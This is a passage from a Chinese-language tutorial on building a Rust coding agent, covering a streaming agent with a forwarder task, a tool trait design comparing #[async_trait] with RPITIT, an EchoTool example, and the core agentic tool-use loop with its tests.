这种双路设计(accumulator + channel)正是 Claude Code 处理流式传输的方式。UI 在 token 到达时渲染,agent 循环看到的是干净、完整的响应——无需对部分状态做任何特殊处理。
你的任务
OpenRouterProvider 位于 src/providers/openrouter.rs。填写构造函数、转换辅助函数、Provider impl 和 StreamProvider impl。所需依赖(reqwest、dotenvy)已在 Cargo.toml 中。
StreamingAgent
provider 层有了流式传输之后,需要一个能从中受益的 agent 循环。把 LLM 回复流入 provider 只有在文本到达用户终端时才有意义。这个接线工作就是 StreamingAgent。
StreamingAgent 是第 3 章 SimpleAgent 的流式版本:
SimpleAgent::chat调用provider.chat(),返回完整的AssistantTurn。StreamingAgent::chat调用provider.stream_chat(),在 LLM 仍在生成时把文本增量转发到 UI channel,流结束后返回组装好的响应。
struct 和构建器与 SimpleAgent 完全相同:
#![allow(unused)] fn main() { pub struct StreamingAgent<P: StreamProvider> { provider: P, tools: ToolSet, } impl<P: StreamProvider> StreamingAgent<P> { pub fn new(provider: P) -> Self { Self { provider, tools: ToolSet::new() } } pub fn tool(mut self, t: impl Tool + 'static) -> Self { self.tools.push(t); self } pub async fn run( &self, prompt: &str, events: mpsc::UnboundedSender<AgentEvent>, ) -> anyhow::Result<String> { let mut messages = vec![Message::User(prompt.to_string())]; self.chat(&mut messages, events).await } pub async fn chat( &self, messages: &mut Vec<Message>, events: mpsc::UnboundedSender<AgentEvent>, ) -> anyhow::Result<String> { /* ... */ } } }
run() 是 chat() 的薄包装。真正的工作在 chat() 里,也是本章最微妙的一段代码。
两个 channel 及它们解决的问题
StreamingAgent::chat 坐落在两个词汇不同的 channel 之间:
- 下游(provider → agent): provider 用
StreamEvent——原始流片段,包括TextDelta、ToolCallStart、ToolCallDelta和Done。这是流式 LLM 响应的全部底层语法。 - 上游(agent → UI): UI 要的是
AgentEvent——agent 级别的通知:TextDelta用于可显示的文本,ToolCall表示工具开始运行,Done表示整个对话结束,Error表示出了问题。
StreamingAgent::chat 是翻译器。它需要:
- 给 provider 一个
StreamEventchannel,让 provider 向其发送增量。 - 并发地从该 channel 拉取,过滤
TextDelta,重新发送为AgentEvent::TextDelta到 UI channel——这一切都在 provider 仍在生成时进行。 - 等待 provider 返回组装好的
AssistantTurn。 - 决策:轮次以
Stop结束就发送AgentEvent::Done并返回;以ToolUse结束就每次调用发送ToolCall事件,运行工具,追加结果,循环。
关键词是第 2 步的并发。不能在 stream_chat 返回后再 recv() 事件——那时生成已经结束,UI 一直在等一个冻结的屏幕。需要独立任务在 provider 仍在写入时从流 channel 拉取。
转发任务模式
完整的 chat() 实现:
#![allow(unused)] fn main() { pub async fn chat( &self, messages: &mut Vec<Message>, events: mpsc::UnboundedSender<AgentEvent>, ) -> anyhow::Result<String> { let defs = self.tools.definitions(); loop { // 1. Fresh stream channel for this turn. let (stream_tx, mut stream_rx) = mpsc::unbounded_channel(); // 2. Spawn a forwarder task: drain stream_rx, relay TextDeltas to `events`. let events_clone = events.clone(); let forwarder = tokio::spawn(async move { while let Some(event) = stream_rx.recv().await { if let StreamEvent::TextDelta(text) = event { let _ = events_clone.send(AgentEvent::TextDelta(text)); } } }); // 3. Kick off generation. The provider writes StreamEvents into stream_tx. // Dropping stream_tx here would close the channel early — so we pass it by value. let turn = match self.provider.stream_chat(messages, &defs, stream_tx).await { Ok(t) => t, Err(e) => { let _ = events.send(AgentEvent::Error(e.to_string())); return Err(e); } }; // 4. stream_chat has returned → stream_tx was dropped → forwarder sees // stream_rx closed → forwarder exits. Await it to propagate any panic // and ensure all deltas are flushed before we emit downstream events. let _ = forwarder.await; // 5. Now handle the assembled turn: stop or another tool round. match turn.stop_reason { StopReason::Stop => { let text = turn.text.clone().unwrap_or_default(); let _ = events.send(AgentEvent::Done(text.clone())); messages.push(Message::Assistant(turn)); return Ok(text); } StopReason::ToolUse => { let mut results = Vec::with_capacity(turn.tool_calls.len()); for call in &turn.tool_calls { let _ = events.send(AgentEvent::ToolCall { name: call.name.clone(), summary: tool_summary(call), }); let content = match self.tools.get(&call.name) { Some(t) => t .call(call.arguments.clone()) .await .unwrap_or_else(|e| format!("error: {e}")), None => format!("error: unknown tool `{}`", call.name), }; results.push((call.id.clone(), content)); } messages.push(Message::Assistant(turn)); for (id, content) in results { messages.push(Message::ToolResult { id, content }); } // Loop: feed results back to the LLM. } } } } }
逐步解析:
-
每次循环迭代创建新的 channel。 每个轮次都创建新的
mpsc::unbounded_channel(),不能跨工具轮次复用——丢弃stream_tx是告知转发任务轮次结束的方式(见第 4 步)。保留同一个 channel,转发任务就永远不会退出。 -
spawn 转发任务。
tokio::spawn并发运行一个任务,在stream_rx.recv().await上循环,把StreamEvent::TextDelta过滤为AgentEvent::TextDelta。其他内容被丢弃——ToolCallStart/ToolCallDelta/Done不会以文本形式出现在 UI 中。把events发送方移入任务之前先克隆,因为转发任务退出后还需要原始的来发送ToolCall/Done/Error。 -
调用
stream_chat并等待。 provider 现在向stream_tx写入StreamEvent,转发任务在事件到达时拉取并把文本中继到 UI,当前任务阻塞在stream_chatfuture 上。三个任务同时推进:HTTP 响应读取器、转发任务,以及(通过 channel)UI 渲染器。 -
等待转发任务。
stream_chat返回时,其持有的stream_tx被 drop,channel 关闭,stream_rx.recv()返回None,结束转发任务的while let循环。等待JoinHandle做了两件事:确保转发任务在我们继续之前把每一个最后的增量刷新到 UI,并暴露转发任务可能遇到的 panic。忘记这个await是经典的"最后几个 token 丢失"bug。 -
根据
stop_reason分发。 此时有了完整的AssistantTurn,UI 也看到了每一个TextDelta。模型完成了(Stop)就发送AgentEvent::Done并返回;需要工具(ToolUse)就每次调用发送ToolCall事件(UI 用这些显示"[bash: ls]"旋转图标),用与SimpleAgent相同的优雅错误处理运行每个工具,把结果追加到messages,让loop继续——下一轮会 spawn 新的转发任务并调用stream_chat。
为什么不在主循环中直接 rx.recv()?
单任务方式——"调用 stream_chat,然后排空 rx"——会死锁。stream_chat 在流被完全消费之前不返回;无界 channel 里充满了事件但没人读,provider 会一直写入(技术上可行,但轮次结束前什么都不渲染)。用有界 channel 会在 tx.send().await 处阻塞 provider,进而阻塞 stream_chat,永不返回。无论哪种方式,UI 都要等到轮次结束才能看到 token——流式传输就失去了意义。
转发任务模式把两端解耦:provider 的写入侧和 UI 的读取侧都能独立推进。
完整工作模式的端到端视图
下面把死锁修复后的流程完整画出来。四个 Rust 任务,三条关键边:provider 写入 tx,转发任务拉取 rx 并重新发送到 events,主循环等待 stream_chat 的返回值做控制流决策。终止完全依赖 drop:stream_chat 返回时 drop 掉 tx,rx.recv() 随后返回 None,转发任务循环退出,handle.await 解除阻塞。
sequenceDiagram
participant M as Main loop
participant F as Forwarder task
participant P as stream_chat
participant U as UI (events rx)
M->>M: let (tx, rx) = mpsc::unbounded_channel::<StreamEvent>()
M->>F: tokio::spawn(forwarder(rx, events))
M->>P: provider.stream_chat(messages, tools, tx).await
Note over P: holds the tx sender;<br/>writes events as they arrive
P-->>F: tx.send(TextDelta) (many)
F-->>U: events.send(AgentEvent::TextDelta)
P-->>F: tx.send(ToolCallStart / Delta / Done)
F-->>U: events.send(...)
P-->>M: returns AssistantTurn (drops tx here)
Note over F: rx.recv() now returns None,<br/>forwarder loop exits naturally
F-->>M: JoinHandle resolves
M->>M: match turn.stop_reason { Stop => ..., ToolUse => ... }
三个不变式保证这个模式正常运转:
- provider 拥有发送方。 只有
stream_chat持有tx——主循环将其交出后不保留克隆。stream_chat返回时,最后一个tx被 drop,channel 关闭。 - 转发任务拥有接收方。 在独立 spawn 的任务中运行,接收方能在
stream_chat仍在写入时推进,没有其他人调用rx.recv()。 - 主循环等待两者。 先等
stream_chat,再等转发任务的JoinHandle。等待 handle 是防止主循环把未完成的转发任务泄漏到下一次 agent 循环迭代的关键。
三个不变式中任何一个被打破——主循环持有多余的 tx 克隆、转发任务在主任务上内联运行、或主循环跳过 handle 的 await——就会出现上述死锁的某个变体。所以这个模式值得认真学一次,以后每当需要把流式 I/O 桥接到逐步决策循环时,直接拿来用。
你的任务
在 src/streaming.rs 中填写 StreamingAgent::chat() 存根。四步配方:channel、转发任务、等待 stream_chat、等待转发任务。然后对 stop_reason 的 match 与 SimpleAgent::chat 的形状相同。
运行测试
cargo test -p mini-claw-code-starter test_openrouter_
cargo test -p mini-claw-code-starter test_streaming_streaming_agent_
cargo test -p mini-claw-code-starter test_streaming_stream_chat_
这些测试验证的内容
test_openrouter_(OpenRouterProvider):
test_openrouter_convert_messages— 内部Message变体被转换为正确的 OpenAI API 格式test_openrouter_convert_tools—ToolDefinition值被包裹在 OpenAI 函数调用信封中
test_streaming_streaming_agent_(StreamingAgent 对 MockStreamProvider 的端到端测试):
test_streaming_streaming_agent_text_response— 单轮文本响应;UI channel 至少看到一个TextDelta和一个Donetest_streaming_streaming_agent_tool_loop— agent 运行一轮工具调用并产生最终答案;UI channel 看到ToolCall事件和Donetest_streaming_streaming_agent_chat_history—chat()将最终的 assistant 轮次追加到调用方提供的messagesvec 中
test_streaming_stream_chat_(OpenRouter 流式传输对本地 TCP mock):
test_streaming_stream_chat_events_order— 脚本化的 SSE 体被解析为正确顺序的事件,组装好的AssistantTurn与预期匹配
关键要点
StreamingAgent 是第 5a 章一切投入的回报。provider 产生 StreamEvent,转发任务把它们在到达时翻译为 UI 级别的 AgentEvent,主循环等待组装好的 AssistantTurn 来决定下一步。token 实时到达终端;agent 循环仍然看到干净、完整的消息——无需对流式和非流式做特殊处理。
"把复杂流分成两个并发侧,用任务桥接"——这个模式正是 Claude Code 在渲染器中使用的。写过一次之后,每当需要把流式 I/O 与逐步决策混合,它就会随处出现。
第 6 章转向工具——agent 与外部世界接口的另一半。
自我检测
← 第 5a 章:Provider 与流式基础 · 目录 · 第 6 章:工具接口 →
第 6 章:工具接口
需要编辑的文件: 无。本章是
Tooltrait 的概念性讲解。下方的EchoTool动手示例可以在练习文件里从头写,也可以在 Rust Playground 里试试;starter 里没有echo.rs桩,第 2 章的test_read_*测试也不受任何影响。 阅读用时: 25 分钟
目标
- 理解为什么
Tooltrait 用#[async_trait](对象安全,支持异构存储),而Provider用 RPITIT(零开销泛型)。 - 实现一个具体的
EchoTool,走完完整的工具生命周期:schema 定义、trait 实现、注册和执行。 - 验证
ToolSet能正确注册工具并向 LLM 返回其定义。
上一章我们接入了 LLM provider,给 agent 装上了嘴。但一个只会输出文字的模型,就像一个只谈代码、从不动键盘的程序员。本章给 agent 装上双手。
第 4 章已经定义了工具类型——ToolDefinition、Tool trait 和 ToolSet。本章深入理解这些类型的设计理由,弄清 #[async_trait] 与 RPITIT 的关键区别,然后通过实现第一个具体工具 EchoTool 把所有内容串起来。
工具生命周期
flowchart LR
A[Tool::new] -->|stores| B[ToolDefinition]
B -->|registered in| C[ToolSet]
C -->|definitions sent to| D[LLM]
D -->|responds with| E[ToolCall]
E -->|dispatched via| C
C -->|lookup by name| F[Tool::call]
F -->|returns| G[String result]
G -->|wrapped as| H[Message::ToolResult]
设计背景:Claude Code 如何建模工具
Claude Code 的 TypeScript 代码库用泛型类型 Tool<Input, Output, Progress> 定义工具。每个工具带一个用于输入验证的 Zod schema,返回丰富的结构化输出(有时含用于终端渲染的 React 元素),还能在长时间运行时发出进度事件。生产环境有超过 40 个工具,每个都带权限元数据、cost hint 和 UI 集成。
我们保留其形态,但去掉繁琐仪式。Rust 版本:
| Claude Code(TypeScript) | mini-claw-code-starter(Rust) |
|---|---|
Tool<Input, Output, Progress> | trait Tool(无泛型) |
| Zod schema 用于输入验证 | serde_json::Value + builder |
丰富的 ToolResult<T> | anyhow::Result<String> |
| React 渲染进度 | (未实现) |
| 40+ 个工具,带 Zod 验证 | 5 个工具,带 JSON schema |
isReadOnly、isDestructive 等 | (未实现——保持最简) |
关键简化:去掉泛型参数和安全性/展示方法。Claude Code 需要 <Input, Output, Progress> 是因为每个工具有不同的强类型输入形态,并渲染不同的 UI。用 serde_json::Value 做输入、String 做输出,无需类型擦除魔法就能把异构工具存进同一个集合。
为什么有两种 async trait 风格?(#[async_trait] vs RPITIT)
这是类型系统里最重要的设计决策,值得深入理解。同样的权衡贯穿本书所有 async trait——Provider、Tool、StreamProvider、Hook、SafetyCheck。读一遍本节就够;其他章节会链接回这里。
先看第 4 章的 Provider trait:
#![allow(unused)] fn main() { pub trait Provider: Send + Sync { fn chat<'a>( &'a self, messages: &'a [Message], tools: &'a [&'a ToolDefinition], ) -> impl Future<Output = anyhow::Result<AssistantTurn>> + Send + 'a; } }
这里用的是 RPITIT(return-position impl Trait in traits),Rust 1.75 稳定的特性。编译器为每个实现生成唯一的 future 类型,零开销,不需要装箱。
但 RPITIT 有个限制:它让 trait 不具备对象安全性。无法写 Box<dyn Provider>,因为编译器在编译期需要知道具体的 future 类型。对于 provider 这没问题——用泛型参数(struct SimpleAgent<P: Provider>),具体类型始终已知。
工具不同。我们需要存储异构工具集合——BashTool、ReadTool、WriteTool,全进同一个 HashMap。这需要 Box<dyn Tool>,进而需要对象安全性。对象安全性要求 async 方法返回已知类型,而非不透明的 impl Future。
async-trait crate 的 #[async_trait] 宏解决了这个问题:把 async fn call(...) 改写为返回 Pin<Box<dyn Future<...> + Send + '_>> 的方法。装箱有小额开销(每次工具调用一次堆分配),但工具调用的 I/O 开销远大于此。
Provider: 泛型参数 P -> RPITIT(零开销,不具备对象安全性)
Tool: 存储于 Box<dyn> -> #[async_trait](装箱 future,具备对象安全性)
这种拆分是刻意的设计选择。如果 Rust 未来稳定 dyn async fn,可以完全放弃 async_trait。在此之前,双策略方式兼顾了两者的优点。
注意,第 5a 章的 MockProvider 实现里直接写了 async fn chat(...)。这是因为 Rust 1.75+ 允许在 trait 实现中用 async fn,即使 trait 签名用的是 RPITIT 形式,编译器会正确脱糖。Tool 实现也一样——写 async fn call(...),#[async_trait] 宏处理其余部分。
决策规则:下一个 trait 用哪种方案?
对任何新的 async trait,只问一个问题:"我需要把这个 trait 的不同具体类型存入同一个集合吗?"这一个问题决定一切:
你需要在某处使用 Box<dyn MyTrait> 吗?
│
┌──────────────┴───────────────┐
▼ ▼
需要 不需要
│ │
▼ ▼
#[async_trait::async_trait] trait MyTrait {
trait MyTrait: Send + Sync { fn do_it(&self)
async fn do_it(&self) -> impl Future<...> + Send;
-> Result<...>; }
} // 调用者使用 `impl MyTrait` 或
// 调用者使用 Box<dyn MyTrait> // 泛型参数 `<T: MyTrait>`
倾向 #[async_trait] 的信号:
- 需要
Vec<Box<dyn MyTrait>>、HashMap<K, Box<dyn MyTrait>>或类似的运行时异构容器。(ToolSet正是这样做的。) - 需要从函数中返回
Box<dyn MyTrait>,调用者不需要知道具体类型。 - 希望用户能在运行时插入新实现(比如动态注册表或插件系统)。
倾向 RPITIT 的信号:
- 每个调用者在编译期都知道具体实现。
SimpleAgent<P: Provider>这样的结构体对每个 provider 只单态化一次。 - 吞吐量足够重要,不想为每次调用承担一次装箱 future 的分配开销。
- trait 有很多
async方法,不希望async_trait在每个方法上都插一个Box。
本书定义的每个 trait 都恰好落在某一侧:Provider / StreamProvider / SafetyCheck 通过泛型参数单态化(RPITIT);Tool / HookHandler / InputHandler 以 Box<dyn _> 存储于异构集合(#[async_trait])。在自己的扩展中新增 trait 时,按上述问题走一遍,不用再纠结了。
为什么工具错误永远不会终止 agent
工具失败不等于 agent 失败。如果 LLM 请求读取一个不存在的文件,正确的行为是告诉它 "error: file not found",让它自行恢复——换条路径、问用户,或者继续前进。如果真正的 Err(...) 逃逸到 agent 循环顶层,就会终止对话,几乎从来不是我们想要的结果。
这种行为依赖 Tool 实现与 agent 循环之间的约定:
- 工具返回
anyhow::Result<String>。失败时用bail!("原因")或?传播(context.read_to_string(...).with_context(|| ...)?)。第 9 章的文件工具里大量用到bail!。 - agent 循环用
.unwrap_or_else(|e| format!("error: {e}"))捕获工具错误,再把结果打包为Message::ToolResult。LLM 始终收到字符串——要么是成功输出,要么是格式化后的错误。
所以在工具内部写的是惯用 Rust(?、bail!、anyhow::Context);从 LLM 的视角看,每种结果都是字符串。真正会逃逸 agent 循环的,只有确实不可恢复的情况——与 provider 通信的网络故障、序列化 bug、panic——这些都不该由工具实现自身产生。
第 14 章会看到一个小变体:SafeToolWrapper 直接捕获安全检查错误并返回 Ok("error: safety check failed: ..."),而不是让错误继续传播。效果等价(agent 循环本来也会以同样方式格式化 Err),但作为前置过滤器时,能让包装器的错误处理保持自包含。
动手实践:构建 EchoTool
实现第一个具体工具。我们来写个最简化的 EchoTool,接收 text 参数并原样返回。这涵盖完整的生命周期:定义 schema、实现 trait、注册到 ToolSet。
第 1 步:结构体与定义
#![allow(unused)] fn main() { struct EchoTool { def: ToolDefinition, } impl EchoTool { fn new() -> Self { Self { def: ToolDefinition::new("echo", "Echo the input") .param("text", "string", "Text to echo", true), } } } }
ToolDefinition 在构造函数里创建一次,作为字段存储。schema 告诉 LLM:"这个工具叫 echo,接收一个名为 text 的必填字符串参数。"
第 2 步:实现 Tool trait
#![allow(unused)] fn main() { #[async_trait::async_trait] impl Tool for EchoTool { fn definition(&self) -> &ToolDefinition { &self.def } async fn call(&self, args: Value) -> anyhow::Result<String> { let text = args["text"].as_str().unwrap_or("(no text)"); Ok(text.to_string()) } } }
几点说明:
definition()返回对存储的ToolDefinition的引用。call()从 JSONargs里提取text。如果键不存在或不是字符串,回退到"(no text)"而非 panic。对 LLM 提供的参数始终保持防御性。call()返回anyhow::Result<String>——普通字符串,不是ToolResult结构体。starter 保持工具输出简单。- 只有两个必须实现的方法。没有安全标志、没有验证、没有摘要——starter 的
Tooltrait 是最简化的。
第 3 步:注册与使用
#![allow(unused)] fn main() { let tools = ToolSet::new().with(EchoTool::new()); // agent 循环会这样做: let defs = tools.definitions(); // ... 将 defs 发送给 LLM,得到一个 ToolCall ... let tool = tools.get("echo").unwrap(); let result = tool.call(serde_json::json!({"text": "hello"})).await?; assert_eq!(result, "hello"); }
完整的往返流程:定义发给 LLM,LLM 生成 ToolCall,按名称查找工具,调用它,把结果返回。
最简 trait
starter 的 Tool trait 只有两个必须实现的方法:
| 方法 | 用途 |
|---|---|
definition() | 返回工具的 JSON Schema 描述 |
call() | 执行工具并返回字符串结果 |
没有默认方法、没有安全标志、没有验证钩子。这是有意为之——starter 保持简单,让你专注于 agent 循环机制。Claude Code 真实的工具系统加了 is_read_only()、is_destructive()、validate_input() 等,但构建可运行的 agent 不需要这些。
与 Claude Code 的对比
Claude Code 的工具系统规模大得多:
- 40+ 个工具,涵盖文件操作、git、搜索、浏览器、notebook、MCP 等。我们实现 5 个。
- Zod schema 提供运行时验证与 TypeScript 类型推断。我们用带 builder 的
serde_json::Value。 - React 渲染——工具可以返回 React 元素,在终端渲染丰富的 UI(diff、表格、进度条)。我们返回纯字符串。
- 进度事件——工具在执行过程中发出类型化的进度事件。我们有
activity_description()用于简单的 spinner。 - 工具分组与权限——工具按权限分组,带有允许/拒绝列表。第 13 章会构建权限系统,但会更简单。
- cost hint——工具可以声明预估的 token 开销,帮助 context manager 做决策。第 4 章的
TokenUsage类型在消息层面追踪 token,但不在单个工具上携带 cost hint。
尽管有这些差异,核心协议是相同的:LLM 看到工具 schema,决定调用某个,agent 执行它,结果返回给 LLM。其他一切——验证、权限、进度、渲染——都是围绕这个循环的编排。理解 Tool trait 就理解了 Claude Code 完整系统的基础。
实现说明
本章无需创建新的源文件。EchoTool 只存在于测试文件(src/tests/ch3.rs)中。任务是验证第 4 章构建的类型——Tool、ToolDefinition、ToolSet——能与具体工具实现正确协作。test_read_ 测试通过,类型定义就是正确的。
运行测试
cargo test -p mini-claw-code-starter test_read_
测试验证内容
test_read_read_definition——ReadTool从其ToolDefinition生成正确的名称和非空描述,且"path"参数是必填项test_read_read_file—— 以有效路径调用时返回文件内容,验证参数提取和返回值test_read_read_missing_file—— 以不存在的路径调用时返回错误test_read_read_missing_arg—— 不带参数调用时返回错误
核心要点
Tool trait 刻意保持最简——只有 definition() 和 call()。每个工具,从简单的 echo 到复杂的 bash 执行器,都实现同一个两方法接口。agent 循环不需要知道工具做什么,只需按名称查找并调用它。
小结
本章聚焦于第 4 章定义的工具类型背后的原因:
#[async_trait]vs RPITIT —— 关键区别。工具需要对象安全性以支持异构存储;provider 需要零开销泛型。双策略方式兼顾两者。- 工具错误永远不会终止 agent —— 工具用
bail!或?以惯用 Rust 方式编写;agent 循环用.unwrap_or_else将错误转换为字符串,LLM 读取后做出调整。 - EchoTool —— 第一个具体工具,演示完整生命周期:schema 定义、trait 实现、注册、执行。
下一章构建 SimpleAgent——把 provider 和工具连成可运行 agent 的循环。
自测
← 第 5b 章:OpenRouter 与 StreamingAgent · 目录 · 第 7 章:Agentic 循环(深度解析)→
第 7 章:Agentic 循环(深度解析)
需要编辑的文件:
src/agent.rs—— 本章只有run_with_history桩是新内容。single_turn、execute_tools和chat已在第 3 章中实现;本章是对你已经构建的循环的深度讲解,加上一个发出事件的薄层新变体。 需要运行的测试: 第 3 章的测试同样适用(cargo test -p mini-claw-code-starter test_single_turn_,cargo test -p mini-claw-code-starter test_simple_agent_);starter 中没有专门针对run_with_history的测试——通过运行第 5b 章中的示例并观察事件流来手动验证。 预计用时: 45 分钟
目标
- 带着细致的控制流、消息顺序和边界情况分析,重新审视第 3 章的
SimpleAgent::chat。不是重新实现它——而是理解你已经写下的代码。 - 重新审视
execute_tools,弄清楚工具错误为何变成结果字符串而非继续传播——理由与第 6 章解释的约定紧密相连。 - 实现唯一新的部分:
run_with_history——主循环的事件发出变体,每轮结束后通过 channel 发送一个AgentEvent,供后续章节构建的 UI 层观察进度。 - 理解消息顺序:为什么
Message::Assistant必须在对应的Message::ToolResult之前入队。
这是一切融会贯通的章节。
前几章构建了词汇(消息)、嘴巴(provider)和双手(工具)。现在来构建大脑——将它们全部串联起来的循环。SimpleAgent 是编码 agent 的核心。它接收用户提示,与 LLM 对话,执行工具,将结果反馈回去,持续运转直到任务完成。
每个编码 agent——Claude Code、Cursor、Aider、OpenCode——都有某种版本的这个循环。细节各异(流式、权限、压缩),骨架是相同的。把这个做对,你就有了可运行的 agent。本书后续的一切都是在此之上的精化。
SimpleAgent 做什么
用一句话概括完整的 agent 生命周期:提示 LLM,检查它是否想使用工具,执行这些工具,将结果返回,重复,直到 LLM 表示完成。
就这些。SimpleAgent 实现这个循环。它拥有三样东西:
flowchart TD
A[User prompt] --> B[SimpleAgent::chat]
B --> C[Provider.chat]
C --> D{StopReason?}
D -->|Stop| E[Return final text]
D -->|ToolUse| F[execute_tools]
F --> G[Push Message::Assistant]
G --> H[Push Message::ToolResult for each result]
H --> C
读过 Claude Code 源码的话,这对应于 query engine 和 query 函数。我们的版本剥离了流式、权限、钩子和压缩——这些留到后续章节——只保留纯粹的控制流。
SimpleAgent 结构体
starter 的 SimpleAgent 比生产引擎更精简——没有 config 结构体、没有最大轮次限制、没有截断。只有 provider 和工具:
#![allow(unused)] fn main() { pub struct SimpleAgent<P: Provider> { provider: P, tools: ToolSet, } }
泛型参数 P: Provider,让同一个 agent 在生产环境中与 OpenRouterProvider 协同,在测试中与 MockProvider 协同。builder 模式让配置很流畅:
#![allow(unused)] fn main() { let agent = SimpleAgent::new(provider) .tool(BashTool::new()) .tool(ReadTool::new()) .tool(WriteTool::new()); }
没有意外。有趣的部分在于实际运行的方法。
execute_tools:工具调度辅助函数
处理主循环之前,先需要一个辅助函数,接受来自 LLM 的 ToolCall 切片并生成结果。这就是 execute_tools:
#![allow(unused)] fn main() { async fn execute_tools(&self, calls: &[ToolCall]) -> Vec<(String, String)> { let mut results = Vec::with_capacity(calls.len()); for call in calls { let result = match self.tools.get(&call.name) { Some(t) => { t.call(call.arguments.clone()) .await .unwrap_or_else(|e| format!("error: {e}")) } None => format!("error: unknown tool `{}`", call.name), }; results.push((call.id.clone(), result)); } results } }
两个阶段:
-
工具查找 —— 如果 LLM 幻觉出一个不存在的工具名称,返回错误字符串。模型看到
"error: unknown tool \foo`"` 后可以恢复。这种情况比你想象的更常见,尤其是较小的模型。 -
执行 —— 运行工具。如果失败,
.unwrap_or_else(|e| format!("error: {e}"))将错误转换为模型可读的字符串。
注意返回类型:Vec<(String, String)> —— (调用 ID, 结果字符串) 的对儿。没有 ToolResult 结构体、没有截断、没有验证。starter 保持简单。
关键设计决策:工具错误变成结果,而非 panic。agent 循环不会因工具失败而崩溃。模型读取错误,调整方法,再试一次。
chat() 方法:核心循环
就是这里。Agentic 循环。仔细读——比你预期的要短。
#![allow(unused)] fn main() { pub async fn chat(&self, messages: &mut Vec<Message>) -> anyhow::Result<String> { let defs = self.tools.definitions(); loop { let turn = self.provider.chat(messages, &defs).await?; match turn.stop_reason { StopReason::Stop => { let text = turn.text.clone().unwrap_or_default(); messages.push(Message::Assistant(turn)); return Ok(text); } StopReason::ToolUse => { let results = self.execute_tools(&turn.tool_calls).await; messages.push(Message::Assistant(turn)); for (id, content) in results { messages.push(Message::ToolResult { id, content }); } } } } } }
逐一拆解。
工具定义:只收集一次
#![allow(unused)] fn main() { let defs = self.tools.definitions(); }
在循环外收集工具定义。迭代之间它们不会改变——工具集在 agent 的生命周期内是固定的。每次调用 provider.chat() 都包含这些定义,让 LLM 知道哪些工具可用。
调用 provider
#![allow(unused)] fn main() { let turn = self.provider.chat(messages, &defs).await?; }
将完整的消息历史和工具定义发送给 LLM。? 将 provider 错误(网络故障、认证错误、限流)直接传播给调用者。provider 错误对 agent 循环来说不可恢复——需要人工干预。
匹配停止原因
#![allow(unused)] fn main() { match turn.stop_reason { StopReason::Stop => { /* 最终答案 */ } StopReason::ToolUse => { /* 工具调度 */ } } }
LLM 告诉我们它为什么停止生成。两种可能:
Stop—— 模型完成了,有最终的文字答案。提取它,将 assistant 消息推入历史,返回。ToolUse—— 模型想使用工具,在tool_calls里填了一个或多个调用。执行它们,推入结果,循环。
两个分支
StopReason::Stop —— 克隆文本,将 assistant 消息推入历史,返回。对话以 Assistant 消息结束,为下一轮用户输入做好准备。
StopReason::ToolUse —— 执行工具,然后按以下确切顺序推入消息:
- 首先,
Message::Assistant(turn)—— assistant 的响应,包含其工具调用 - 然后,为每个工具结果推入
Message::ToolResult { id, content }
这个顺序很重要。LLM API 要求工具结果紧跟在请求它们的 assistant 消息之后。每个 ToolResult 通过 id 字段与其 ToolCall 关联。顺序错了,provider 会拒绝请求。
推入结果后,循环继续。下一次迭代将完整历史——包括工具调用及其结果——发回给 LLM。模型看到发生了什么,决定下一步怎么做。
Rust 概念:所有权与 &mut Vec<Message>
调用者拥有消息历史,以 &mut Vec<Message> 的形式传入。这是刻意的 Rust 所有权决策——agent 在调用期间以可变方式借用历史,所有权留在调用者手中。另一种方式是让 agent 拥有 Vec,但那样调用者在调用后就无法检查历史了,多轮对话也需要把 Vec 移入移出 agent。&mut 是最简洁的方案:agent 向调用者的 vec 推入消息,调用者事后保留完全控制权。
具体来说,这样设计有三个好处:
- 多轮对话 —— 调用者可以推入新的
Message::User(...)并再次调用chat()。agent 带着完整上下文从断点继续。 - 检查 ——
chat()返回后,调用者可以检查完整的消息历史,查看每一次工具调用、每个结果、每个中间步骤。 - 持久化 —— 调用者可以将消息序列化到磁盘,用于会话保存/恢复。
run():便捷包装器
大多数时候只想发送一个提示并获得响应,这就是 run():
#![allow(unused)] fn main() { pub async fn run(&self, prompt: &str) -> anyhow::Result<String> { let mut messages = vec![Message::User(prompt.to_string())]; self.chat(&mut messages).await } }
两行代码。用用户提示创建新的消息历史,委托给 chat()。调用结束后消息历史被丢弃——如果需要保留,直接使用 chat()。
AgentEvent:让循环可观测
chat() 方法在 agent 完成时返回。对测试没问题,但真实的 UI 需要在循环运行时显示进度。正在调用哪个工具?运行了多久?完成了吗?
AgentEvent 枚举对这些更新进行建模:
#![allow(unused)] fn main() { #[derive(Debug)] pub enum AgentEvent { /// LLM 流式传输的文本块(仅流式模式)。 TextDelta(String), /// 正在调用一个工具。 ToolCall { name: String, summary: String }, /// agent 已完成并给出最终响应。 Done(String), /// agent 遇到错误。 Error(String), } }
四个变体覆盖生命周期:
| 事件 | 时机 | UI 用途 |
|---|---|---|
TextDelta | LLM 流式传输文本块 | 追加到终端输出 |
ToolCall | 正在调用工具 | 显示:" [bash: ls -la]" |
Done | agent 循环完成 | 展示最终答案 |
Error | 不可恢复错误 | 显示错误消息 |
注意:starter 将 ToolStart/ToolEnd 合并为单一的 ToolCall 事件。summary 字段由 src/agent.rs 中的 tool_summary() 辅助函数生成,它查找常见参数键(command、path、question)并格式化为类似 [bash: ls -la] 的形式。
run_with_events / run_with_history
这两个方法复现了核心循环逻辑,但通过 tokio::sync::mpsc::UnboundedSender<AgentEvent> channel 发出事件。调用者创建 channel,传入 sender,从 receiver 消费事件——通常在独立任务中驱动 UI。
#![allow(unused)] fn main() { pub async fn run_with_events( &self, prompt: &str, events: mpsc::UnboundedSender<AgentEvent>, ) { let messages = vec![Message::User(prompt.to_string())]; self.run_with_history(messages, events).await; } }
run_with_history 的结构与 chat() 相同,但穿插了事件发送。它取得消息 vec 的所有权并返回完整历史。错误作为 AgentEvent::Error 发送,而非通过 ? 传播。
与 chat() 的主要区别:
- provider 错误用
match捕获而非?,作为AgentEvent::Error发送。 - ToolCall 事件在每次工具调用时触发,用
tool_summary()辅助函数生成单行描述。 - Done 事件在推入最终 assistant 消息之前触发,UI 能立即获取文本。
注意 let _ = events.send(...) 模式。如果 receiver 已被丢弃(UI 任务崩溃或提前退出),发送会失败。忽略这个错误,因为无论是否有人在监听,agent 都应该完成其工作。
在实践中使用事件
调用者创建无界 channel,将 sender 传给 agent,从 receiver 读取事件——通常在独立任务中:
